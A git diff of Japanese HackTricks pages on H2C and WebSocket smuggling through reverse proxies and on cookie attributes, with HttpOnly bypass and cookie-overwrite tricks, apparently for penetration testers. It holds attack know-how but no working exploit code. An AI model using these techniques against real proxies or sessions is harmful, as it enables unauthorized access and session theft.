* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,66 +1,132 @@
|
|||
# アップグレードヘッダースマグリング
|
||||
# ヘッダースマグリングのアップグレード
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2Cスマグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
### H2C スマグリング <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### クリアテキスト上のHTTP2(H2C)<a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
#### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C、または**クリアテキスト上のhttp2**は、標準のHTTP **接続を永続的なものにアップグレード**することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
H2C、または **http2 over cleartext** は、標準のHTTP **接続を永続的なものにアップグレード** することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
|
||||
スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合(websocket接続で一般的に見られる)、リバースプロキシはクライアントとサーバー間の**永続的な接続を維持**し、特定のプロトコルで必要な継続的な交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在することが必要です:
|
||||
スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送してからバックエンドの応答を返します。しかし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合(websocket接続で一般的に見られる)、リバースプロキシはクライアントとサーバー間の **永続的な接続を維持** し、特定のプロトコルで必要な連続した交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在する必要があります:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
|
||||
脆弱性は、接続をアップグレードした後、リバースプロキシが個々のリクエストを管理するのをやめ、ルーティングの仕事が接続確立後に完了したと仮定すると発生します。H2Cスマグリングを悪用すると、リクエスト処理中に適用されたリバースプロキシのルール(パスベースのルーティング、認証、WAF処理など)を回避できます。これは、H2C接続が正常に確立された場合に適用されます。
|
||||
|
||||
脆弱性は、リバースプロキシが`Upgrade`および時折`Connection`ヘッダーを処理する方法に依存しています。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします:
|
||||
#### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
- HAProxy
|
||||
- Traefik
|
||||
- Nuster
|
||||
脆弱性は、リバースプロキシが`Upgrade`および時折`Connection`ヘッダーを処理する方法に依存します。次のプロキシは、これらのヘッダーをプロキシパス中に暗黙的に転送し、それによってH2Cスマグリングを可能にします:
|
||||
|
||||
一方、次のサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーをフィルタリングせずに転送するように不適切に構成されている可能性があります:
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
- AWS ALB/CLB
|
||||
- NGINX
|
||||
- Apache
|
||||
- Squid
|
||||
- Varnish
|
||||
- Kong
|
||||
- Envoy
|
||||
- Apache Traffic Server
|
||||
一方、これらのサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーをフィルタリングせずに転送するように不適切に構成されている可能性があります:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
* Apache
|
||||
* Squid
|
||||
* Varnish
|
||||
* Kong
|
||||
* Envoy
|
||||
* Apache Traffic Server
|
||||
|
||||
#### 悪用 <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
重要なのは、すべてのサーバーが、準拠したH2C接続のアップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。なぜなら、一部のバックエンドが標準に準拠していない可能性があるからです。
|
||||
重要なのは、すべてのサーバーが、準拠したH2C接続アップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。したがって、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。一部のバックエンドは標準に準拠していないかもしれません。
|
||||
|
||||
{% hint style="danger" %}
|
||||
`proxy_pass` URL内で指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続は常に`http://backend:9999`にデフォルトします。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能です。したがって、`proxy_pass` URL内でパスを指定してもアクセスが制限されることはありません。
|
||||
`proxy_pass` URLで指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続はデフォルトで`http://backend:9999`になります。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りできます。したがって、`proxy_pass` URLでパスを指定してもアクセスが制限されません。
|
||||
{% endhint %}
|
||||
|
||||
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)および[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって適用された保護を**回避**する試みを支援し、プロキシによって保護されたリソースにアクセスできるようにします。
|
||||
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)と[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって課せられた保護を回避し、リソースにアクセスできるようにする試みを支援します。
|
||||
|
||||
この脆弱性に関する詳細情報、特にNGINXに関する情報は、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。
|
||||
|
||||
## Websocket Smuggling
|
||||
|
||||
Websocketスマグリングは、プロキシ経由でアクセス可能なエンドポイントへのHTTP2トンネルを作成するのとは異なり、プロキシの制限をバイパスし、エンドポイントとの直接通信を容易にするWebsocketトンネルを確立します。
|
||||
|
||||
### シナリオ1
|
||||
|
||||
このシナリオでは、公開WebSocket APIを提供するバックエンドと、アクセスできない内部REST APIを持つバックエンドが、内部REST APIへのアクセスを求める悪意のあるクライアントによって標的にされます。攻撃は以下の手順で展開されます:
|
||||
|
||||
1. クライアントは、ヘッダー内の正しくない`Sec-WebSocket-Version`プロトコルバージョンを持つUpgradeリクエストをリバースプロキシに送信します。リバースプロキシは`Sec-WebSocket-Version`ヘッダーを検証できないため、Upgradeリクエストを有効と認識し、バックエンドに転送します。
|
||||
2. バックエンドは、`Sec-WebSocket-Version`ヘッダー内の誤ったプロトコルバージョンを示すステータスコード`426`で応答します。リバースプロキシはバックエンドの応答ステータスを見落とし、WebSocket通信の準備が整ったと誤解し、その応答をクライアントに中継します。
|
||||
3. 結果として、リバースプロキシは、クライアントとバックエンドの間にWebSocket接続が確立されたと誤解しますが、実際にはバックエンドがUpgradeリクエストを拒否していたため、そのような接続は存在しません。それにもかかわらず、プロキシはクライアントとバックエンドの間にオープンなTCPまたはTLS接続を維持し、クライアントがこの接続を介してプライベートREST APIに無制限にアクセスできるようにします。
|
||||
|
||||
影響を受けるリバースプロキシには、問題を解決しなかったVarnishや、バージョン1.8.0以前のEnvoyプロキシなどが含まれます。他のプロキシも影響を受ける可能性があります。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
|
||||
|
||||
### シナリオ2
|
||||
|
||||
このシナリオでは、公開WebSocket APIと公開REST API(ヘルスチェック用)を持つバックエンドと、アクセスできない内部REST APIが関与します。より複雑な攻撃は、以下の手順を含みます:
|
||||
|
||||
1. クライアントは、ヘルスチェックAPIをトリガーするためにPOSTリクエストを送信し、追加のHTTPヘッダー`Upgrade: websocket`を含めます。リバースプロキシであるNGINXは、`Upgrade`ヘッダーに基づいて標準のUpgradeリクエストとしてこれを解釈し、リクエストの他の側面を無視してバックエンドに転送します。
|
||||
2. バックエンドはヘルスチェックAPIを実行し、攻撃者が制御する外部リソースに到達してHTTPレスポンスを返します。このレスポンスは、バックエンドに受信され、NGINXに転送されると、ステータスコード`101`を持つHTTPレスポンスによって、プロキシはステータスコードのみを検証するため、WebSocket接続が確立されたと誤解します。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **警告:** このテクニックの複雑さは、ステータスコード101を返すエンドポイントとのやり取り能力が必要となるため、増加します。
|
||||
|
||||
最終的に、NGINXはクライアントとバックエンドの間にWebSocket接続が存在すると誤解されます。実際にはそのような接続は存在せず、ヘルスチェックREST APIが標的となります。それでも、リバースプロキシは接続を維持し、クライアントがこの接続を介してプライベートREST APIにアクセスできるようにします。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
ほとんどのリバースプロキシはこのシナリオに対して脆弱ですが、悪用は一般に低重要度の問題と見なされる外部SSRF脆弱性の存在に依存します。
|
||||
|
||||
#### ラボ
|
||||
|
||||
両方のシナリオをテストするためのラボは、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)で確認できます。
|
||||
|
||||
### 参考文献
|
||||
|
||||
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
|
||||
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
|
||||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,24 +26,24 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
Cookie には、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての概要です(より受動的な声で):
|
||||
|
||||
### Expires と Max-Age
|
||||
### Expires および Max-Age
|
||||
|
||||
Cookie の有効期限は `Expires` 属性によって決定されます。逆に、`Max-age` 属性は、Cookie が削除されるまでの秒数を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。**
|
||||
Cookie の有効期限は `Expires` 属性によって決定されます。逆に、`Max-age` 属性は、Cookie が削除されるまでの時間(秒単位)を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。**
|
||||
|
||||
### Domain
|
||||
|
||||
Cookie を受け取るホストは `Domain` 属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain` 属性の指定は、サブドメイン間でのCookie共有が必要なシナリオに役立つより制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインでCookieにアクセスできます。
|
||||
`Domain` 属性によって、Cookie を受信するホストが指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain` 属性の指定は、サブドメイン間でのCookie共有が必要なシナリオに役立つ制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインでCookieにアクセスできます。
|
||||
|
||||
### Path
|
||||
|
||||
`Path` 属性によって、`Cookie` ヘッダーを送信するためにリクエストされたURLに存在する必要がある特定のURLパスが示されます。この属性は、`/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。
|
||||
`Path` 属性によって、`Cookie` ヘッダーを送信するためにリクエストされたURLに存在する必要がある特定の URL パスが示されます。この属性は、`/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。
|
||||
|
||||
### 順序付けルール
|
||||
|
||||
同じ名前の2つのCookieがある場合、送信するCookieは次の基準に基づいて選択されます:
|
||||
同じ名前の2つのCookieがある場合、送信されるCookieは次の基準に基づいて選択されます:
|
||||
|
||||
* リクエストされたURLの最も長いパスに一致するCookie。
|
||||
* パスが同一である場合は、最も最近に設定されたCookie。
|
||||
* パスが同じ場合は、最も最近に設定されたCookie。
|
||||
|
||||
### SameSite
|
||||
|
||||
|
@ -52,7 +52,7 @@ Cookie を受け取るホストは `Domain` 属性で指定されます。デフ
|
|||
* **Lax**: サードパーティウェブサイトによって開始されたGETリクエストでCookieの送信を許可します。
|
||||
* **None**: 任意のサードパーティドメインからCookieの送信を許可します。
|
||||
|
||||
Cookieを構成する際には、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。
|
||||
Cookie を構成する際には、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。
|
||||
|
||||
| **リクエストタイプ** | **例のコード** | **Cookie が送信される場合** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -65,24 +65,24 @@ Cookieを構成する際には、これらの属性を理解することで、
|
|||
| 画像 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からの表と若干修正されています。\
|
||||
_**SameSite**_ 属性のCookieは、ログインセッションが必要な CSRF 攻撃を**緩和**します。
|
||||
**SameSite** 属性を持つCookieは、ログインセッションが必要な CSRF 攻撃を**緩和**します。
|
||||
|
||||
**\*Chrome80(2019年2月)から、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
この変更を適用した後、Chromeでは、**SameSiteポリシーのないCookie**は、**最初の2分間はNone**として扱われ、その後、トップレベルのクロスサイトPOSTリクエストでは**Lax**として扱われます。
|
||||
**\*Chrome80(2019年2月)から、SameSite 属性のないCookieのデフォルト動作は Lax になります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
この変更を適用した後、Chrome では、**SameSite ポリシーのないCookie** は、**最初の2分間は None** として扱われ、その後はトップレベルのクロスサイト POST リクエストでは **Lax** として扱われます。
|
||||
|
||||
## Cookies フラグ
|
||||
|
||||
### HttpOnly
|
||||
|
||||
これにより、**クライアント**がCookieにアクセスできなくなります(たとえば、`document.cookie` を使用したJavaScript経由で)。
|
||||
これにより、**クライアント**がCookieにアクセスできなくなります(たとえば、`document.cookie` を使用して JavaScript 経由で)。
|
||||
|
||||
#### **バイパス**
|
||||
|
||||
* ページがリクエストの応答としてCookieを送信している場合(たとえば、**PHPinfo** ページなど)、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) にあります)。
|
||||
* このバイパスは、サーバーからの応答(このHTTPメソッドが利用可能な場合)として**TRACE** **HTTP** リクエストを送信することで回避できます。このテクニックは **Cross-Site Tracking** と呼ばれます。
|
||||
* このテクニックは、**現代のブラウザがJSからTRACEリクエストの送信を許可しない**ことによって回避されます。ただし、IE6.0 SP2に `\r\nTRACE` を送信するなど、特定のソフトウェアでこのバイパスを見つけることができます。
|
||||
* ページがリクエストの応答としてCookieを送信している場合(たとえば、**PHPinfo** ページなど)、XSS を悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) にあります)。
|
||||
* このバイパスは、サーバーからの応答(この HTTP メソッドが利用可能な場合)が送信される **TRACE** **HTTP** リクエストを使用することで回避できます。この技術は **Cross-Site Tracking** と呼ばれます。
|
||||
* この技術は、**現代のブラウザが JS から TRACE リクエストの送信を許可しない**ことによって回避されます。ただし、IE6.0 SP2 などの特定のソフトウェアで `\r\nTRACE` を `TRACE` の代わりに送信するなど、これに対するいくつかのバイパスが見つかっています。
|
||||
* もう1つの方法は、ブラウザのゼロデイ脆弱性を悪用することです。
|
||||
* Cookie Jarオーバーフローアタックを実行することで、**HttpOnly Cookie を上書き**することが可能です:
|
||||
* Cookie Jar オーバーフローアタックを実行することで、**HttpOnly Cookie を上書き**することが可能です:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -92,27 +92,27 @@ _**SameSite**_ 属性のCookieは、ログインセッションが必要な CSRF
|
|||
|
||||
### Secure
|
||||
|
||||
リクエストは、通常 **HTTPS** を介して送信される場合にのみ、HTTPリクエストでCookieを送信します。
|
||||
リクエストは、通常 **HTTPS** を介して送信される場合にのみ、HTTP リクエストでのみ Cookie を送信します。
|
||||
|
||||
## Cookies プレフィックス
|
||||
|
||||
`__Secure-` で始まるCookieは、HTTPSで保護されたページから設定する必要があります。
|
||||
`__Secure-` で始まるCookieは、HTTPS で保護されたページから設定する必要があります。
|
||||
|
||||
`__Host-` で始まるCookieには、いくつかの条件があります:
|
||||
|
||||
* `secure` フラグと一緒に設定する必要があります。
|
||||
* HTTPSで保護されたページから発信する必要があります。
|
||||
* `secure` フラグで設定する必要があります。
|
||||
* HTTPS で保護されたページから発信する必要があります。
|
||||
* ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。
|
||||
* これらのCookieのパスは `/` に設定する必要があります。
|
||||
|
||||
`__Host-` で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限により、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
|
||||
`__Host-` で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限は、アプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
|
||||
### Cookieの上書き
|
||||
|
||||
したがって、`__Host-`接頭辞のCookieの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))のトークでは、例えば、パーサーをだまして、サブドメインから\_\_HOST-接頭辞のCookieを設定することが可能であることが示されています。たとえば、先頭に"="を追加したり、先頭と末尾に"="を追加したり...:
|
||||
したがって、`__Host-`接頭辞のCookieの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))というトークでは、例えば、パーサーをだまして、サブドメインから\_\_HOST-接頭辞のCookieを設定することが可能であることが示されています。たとえば、先頭に"="を追加したり、先頭と末尾に"="を追加したり...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
または、PHPでは、Cookie名の**先頭に他の文字を追加**することが可能で、それらが**アンダースコアに置き換えられる**ことで、`__HOST-` Cookieを上書きすることができました:
|
||||
または、PHPでは、Cookie名の**先頭に他の文字を追加**することが可能で、それらは**アンダースコア**文字に置き換えられることで、`__HOST-` Cookieを上書きすることが可能でした:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -126,7 +126,7 @@ Cookieに埋め込まれた機密データは常に検証する必要があり
|
|||
|
||||
### セッションハイジャック
|
||||
|
||||
この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスすることを目的としています。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。
|
||||
この攻撃は、ユーザーのCookieを盗んでアプリケーション内のアカウントに不正アクセスすることを含みます。盗んだCookieを使用することで、攻撃者は合法的なユーザーをなりすますことができます。
|
||||
|
||||
### セッションフィクセーション
|
||||
|
||||
|
@ -152,21 +152,21 @@ Cookieに埋め込まれた機密データは常に検証する必要があり
|
|||
|
||||
前述のリンクをクリックして、JWTの欠陥について説明したページにアクセスしてください。
|
||||
|
||||
Cookieで使用されるJSON Web Tokens(JWT)には脆弱性が存在する可能性があります。JWTをハッキングするための潜在的な欠陥やそれらを悪用する方法についての詳細情報については、リンクされたJWTのハッキングに関する文書にアクセスしてください。
|
||||
Cookieで使用されるJSON Web Tokens(JWT)にも脆弱性が存在する可能性があります。JWTのハッキングに関する詳細情報やそれらを悪用する方法については、リンクされたJWTのハッキングに関する文書にアクセスすることをお勧めします。
|
||||
|
||||
### クロスサイトリクエストフォージェリ(CSRF)
|
||||
|
||||
